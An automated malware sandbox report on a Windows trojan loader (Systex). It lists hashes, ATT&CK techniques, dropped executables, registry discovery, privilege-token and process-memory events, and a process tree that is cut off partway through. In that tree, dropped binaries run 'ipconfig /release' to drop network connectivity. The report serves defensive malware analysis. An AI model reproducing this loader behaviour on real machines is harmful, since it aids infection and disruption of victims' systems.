systex | bf9e47a86026dbe820164fcafeb8f2bdaaeea5d092663627cb0bc7af92eea9e3

Analysis

max time kernel
150s
max time network
156s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/06/2026, 04:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
Size 365KB
Sample260629-e9kmhsds5v
SHA256 bf9e47a86026dbe820164fcafeb8f2bdaaeea5d092663627cb0bc7af92eea9e3
MD5 9d0dc9992b98a6fa6e9d27d4dcaa1da4
SHA1 61b4ebf4753748bfdbfd086486c98a526559499f
SHA512 67f54aefa370cd872bff60bcdda3549004ac883feeb394c61d835d6f6f553af5c13e30c64d5a20ce7512e29556468682dd0b214cf41186429052f39e60b1aaae
SSDEEP 3072:Puxyxtc12aML4yrtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx2:PuxyxtVlIJjiJcbI03GBc3ucY5DCSjX
TLSH
T104847B04BAA4F0F6CC95047800DFAF36A67EB4281726CBC3E754CE5D99513C3A9356AB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5928	mkecwupmhezxrpjh.exe
824	mkecwupmhezxrpjh.sys
4780	CreateProcess.exe
5300	pmkecwupnh.exe
5684	CreateProcess.exe
368	CreateProcess.exe
2324	i_pmkecwupnh.exe
5012	uomhezxrpj.sys
4640	CreateProcess.exe
3024	hezxrpjhbz.exe
4264	CreateProcess.exe
5868	CreateProcess.exe
5760	i_hezxrpjhbz.exe
1700	jhbztrmgez.sys
3784	CreateProcess.exe
5528	gezwrpjhbz.exe
5708	CreateProcess.exe
436	CreateProcess.exe
3172	i_gezwrpjhbz.exe
3668	ywqomjdbwt.sys
5508	CreateProcess.exe
3444	bzwqoljdbw.exe
4568	CreateProcess.exe
4396	CreateProcess.exe
2680	i_bzwqoljdbw.exe
3176	vtnlgdywqo.sys
1208	CreateProcess.exe
1688	qoigbytqlj.exe
5960	CreateProcess.exe
2540	CreateProcess.exe
4352	i_qoigbytqlj.exe
3104	yvtnlidbvt.sys
3000	CreateProcess.exe
3736	qoigaxvtqk.exe
600	CreateProcess.exe
5556	CreateProcess.exe
4988	i_qoigaxvtqk.exe
5392	ayvqnifdxv.sys
5512	CreateProcess.exe
3688	dxvqnigays.exe
6048	CreateProcess.exe
1812	CreateProcess.exe
2468	i_dxvqnigays.exe
6060	xvpnifaxsq.sys
2324	CreateProcess.exe
5552	snkicausnk.exe
2528	CreateProcess.exe
2716	CreateProcess.exe
2868	i_snkicausnk.exe
2276	dxvpfzxupn.sys
1180	CreateProcess.exe
3492	mhecxusmkh.exe
5496	CreateProcess.exe
2356	CreateProcess.exe
2700	i_mhecxusmkh.exe
2024	zusmkecwrp.sys
3552	CreateProcess.exe
3620	rpjhurmkec.exe
6008	CreateProcess.exe
3668	CreateProcess.exe
4388	i_rpjhurmkec.exe
3844	uomhecwurp.sys
2872	CreateProcess.exe
1832	rmjecwuomg.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_30221693\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_1670450482\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_1670450482\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_890206670\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_890206670\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_2125818842\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_890206670\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_890206670\office_endpoints_list.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6064_30221693\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfdavsnkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfdavsnkic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpmheczurp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmkecwupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hezxrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bzwqoljdbw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dxvqnigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtolgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwuomgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hezxrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkicausnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkicausnk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mhecxusmkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmjecwuomg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mkecwupmhezxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigbytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dxvqnigays.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mhecxusmkh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpjhurmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdyvqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojdbwtomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojdbwtomge.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgeywqoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdyvqkida.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pjhczuspnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bzwqoljdbw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigaxvtqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgeywqoigb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pjhczuspnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rpmheczurp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmkecwupnh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtolgdywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rpjhurmkec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigaxvtqk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gezwrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gezwrpjhbz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzxspnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzxspnhfax.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigbytqlj.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3460	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
2760	ipconfig.exe
6000	ipconfig.exe
6084	ipconfig.exe
2996	ipconfig.exe
5908	ipconfig.exe
4444	ipconfig.exe
3380	ipconfig.exe
4280	ipconfig.exe
3916	ipconfig.exe
2504	ipconfig.exe
2568	ipconfig.exe
2656	ipconfig.exe
2624	ipconfig.exe
1052	ipconfig.exe
4532	ipconfig.exe
3824	ipconfig.exe
5076	ipconfig.exe
2420	ipconfig.exe
4296	ipconfig.exe
1276	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2289519114-2956110270-1748446682-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2289519114-2956110270-1748446682-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2289519114-2956110270-1748446682-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134271815179532698"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2289519114-2956110270-1748446682-1000\{9C85D510-356E-41C1-95C9-68DF039F4F53}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
5928	mkecwupmhezxrpjh.exe
5928	mkecwupmhezxrpjh.exe
5928	mkecwupmhezxrpjh.exe
5928	mkecwupmhezxrpjh.exe
5928	mkecwupmhezxrpjh.exe
5928	mkecwupmhezxrpjh.exe
5928	mkecwupmhezxrpjh.exe
5928	mkecwupmhezxrpjh.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
6064	msedge.exe
6064	msedge.exe
6064	msedge.exe
6064	msedge.exe
6064	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	2324	i_pmkecwupnh.exe
Token: SeDebugPrivilege	5760	i_hezxrpjhbz.exe
Token: SeDebugPrivilege	3172	i_gezwrpjhbz.exe
Token: SeDebugPrivilege	2680	i_bzwqoljdbw.exe
Token: SeDebugPrivilege	4352	i_qoigbytqlj.exe
Token: SeDebugPrivilege	4988	i_qoigaxvtqk.exe
Token: SeDebugPrivilege	2468	i_dxvqnigays.exe
Token: SeDebugPrivilege	2868	i_snkicausnk.exe
Token: SeDebugPrivilege	2700	i_mhecxusmkh.exe
Token: SeDebugPrivilege	4388	i_rpjhurmkec.exe
Token: SeDebugPrivilege	2564	i_rmjecwuomg.exe
Token: SeDebugPrivilege	3248	i_ojdbwtomge.exe
Token: SeDebugPrivilege	2372	i_lgeywqoigb.exe
Token: SeDebugPrivilege	2844	i_vtolgdywqo.exe
Token: SeDebugPrivilege	2032	i_lfdyvqkida.exe
Token: SeDebugPrivilege	5636	i_hfdavsnkic.exe
Token: SeDebugPrivilege	5316	i_fzxspnhfax.exe
Token: SeDebugPrivilege	2876	i_pjhczuspnh.exe
Token: SeDebugPrivilege	3536	i_rpmheczurp.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
6064	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1564 wrote to memory of 5928	1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe	89
PID 1564 wrote to memory of 5308	1564	2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe	90
PID 5308 wrote to memory of 6064	5308	iexplore.exe	91
PID 6064 wrote to memory of 5676	6064	msedge.exe	92
PID 6064 wrote to memory of 5608	6064	msedge.exe	93
PID 6064 wrote to memory of 3460	6064	msedge.exe	95
PID 6064 wrote to memory of 5608	6064	msedge.exe	93
PID 6064 wrote to memory of 5608	6064	msedge.exe	93
PID 6064 wrote to memory of 1144	6064	msedge.exe	96
PID 6064 wrote to memory of 1144	6064	msedge.exe	96
PID 6064 wrote to memory of 6084	6064	msedge.exe	97
PID 6064 wrote to memory of 6084	6064	msedge.exe	97
PID 6064 wrote to memory of 6084	6064	msedge.exe	97
PID 6064 wrote to memory of 620	6064	msedge.exe	98
PID 6064 wrote to memory of 620	6064	msedge.exe	98
PID 6064 wrote to memory of 620	6064	msedge.exe	98
PID 6064 wrote to memory of 3576	6064	msedge.exe	99
PID 6064 wrote to memory of 3576	6064	msedge.exe	99
PID 6064 wrote to memory of 3576	6064	msedge.exe	99
PID 6064 wrote to memory of 3152	6064	msedge.exe	100
PID 6064 wrote to memory of 3152	6064	msedge.exe	100
PID 6064 wrote to memory of 3152	6064	msedge.exe	100
PID 6064 wrote to memory of 6036	6064	msedge.exe	101
PID 6064 wrote to memory of 6036	6064	msedge.exe	101
PID 6064 wrote to memory of 3380	6064	msedge.exe	106
PID 6064 wrote to memory of 4860	6064	msedge.exe	105
PID 6064 wrote to memory of 3380	6064	msedge.exe	106
PID 6064 wrote to memory of 4860	6064	msedge.exe	105
PID 6064 wrote to memory of 1244	6064	msedge.exe	108
PID 5928 wrote to memory of 4780	5928	mkecwupmhezxrpjh.exe	109
PID 6064 wrote to memory of 708	6064	msedge.exe	111
PID 6064 wrote to memory of 708	6064	msedge.exe	111
PID 5300 wrote to memory of 5684	5300	pmkecwupnh.exe	113
PID 6064 wrote to memory of 1848	6064	msedge.exe	116
PID 6064 wrote to memory of 1848	6064	msedge.exe	116
PID 5928 wrote to memory of 368	5928	mkecwupmhezxrpjh.exe	119
PID 5928 wrote to memory of 4640	5928	mkecwupmhezxrpjh.exe	123
PID 3024 wrote to memory of 4264	3024	hezxrpjhbz.exe	125
PID 5928 wrote to memory of 5868	5928	mkecwupmhezxrpjh.exe	128
PID 5928 wrote to memory of 3784	5928	mkecwupmhezxrpjh.exe	132
PID 5528 wrote to memory of 5708	5528	gezwrpjhbz.exe	134
PID 5928 wrote to memory of 436	5928	mkecwupmhezxrpjh.exe	137
PID 5928 wrote to memory of 5508	5928	mkecwupmhezxrpjh.exe	142
PID 3444 wrote to memory of 4568	3444	bzwqoljdbw.exe	144
PID 5928 wrote to memory of 4396	5928	mkecwupmhezxrpjh.exe	147
PID 6064 wrote to memory of 2328	6064	msedge.exe	149
PID 6064 wrote to memory of 1124	6064	msedge.exe	150
PID 6064 wrote to memory of 5552	6064	msedge.exe	151
PID 5928 wrote to memory of 1208	5928	mkecwupmhezxrpjh.exe	154
PID 1688 wrote to memory of 5960	1688	qoigbytqlj.exe	156
PID 5928 wrote to memory of 2540	5928	mkecwupmhezxrpjh.exe	159
PID 5928 wrote to memory of 3000	5928	mkecwupmhezxrpjh.exe	163
PID 3736 wrote to memory of 600	3736	qoigaxvtqk.exe	165
PID 5928 wrote to memory of 5556	5928	mkecwupmhezxrpjh.exe	168
PID 5928 wrote to memory of 5512	5928	mkecwupmhezxrpjh.exe	172
PID 3688 wrote to memory of 6048	3688	dxvqnigays.exe	174
PID 5928 wrote to memory of 1812	5928	mkecwupmhezxrpjh.exe	177
PID 5928 wrote to memory of 2324	5928	mkecwupmhezxrpjh.exe	181
PID 5552 wrote to memory of 2528	5552	snkicausnk.exe	183
PID 5928 wrote to memory of 2716	5928	mkecwupmhezxrpjh.exe	186
PID 6064 wrote to memory of 4328	6064	msedge.exe	188
PID 6064 wrote to memory of 4328	6064	msedge.exe	188
PID 5928 wrote to memory of 1180	5928	mkecwupmhezxrpjh.exe	194
PID 3492 wrote to memory of 5496	3492	mhecxusmkh.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-27_9d0dc9992b98a6fa6e9d27d4dcaa1da4_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1564
- C:\Temp\mkecwupmhezxrpjh.exe
  C:\Temp\mkecwupmhezxrpjh.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5928
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmkecwupnh.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4780
  - - C:\Temp\pmkecwupnh.exe
      C:\Temp\pmkecwupnh.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5300
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5684
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5076
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmkecwupnh.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:368
  - - C:\Temp\i_pmkecwupnh.exe
      C:\Temp\i_pmkecwupnh.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2324
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\hezxrpjhbz.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4640
  - - C:\Temp\hezxrpjhbz.exe
      C:\Temp\hezxrpjhbz.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3024
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4264
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2760
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_hezxrpjhbz.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5868
  - - C:\Temp\i_hezxrpjhbz.exe
      C:\Temp\i_hezxrpjhbz.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5760
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gezwrpjhbz.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3784
  - - C:\Temp\gezwrpjhbz.exe
      C:\Temp\gezwrpjhbz.exe ups_run
      4⤵
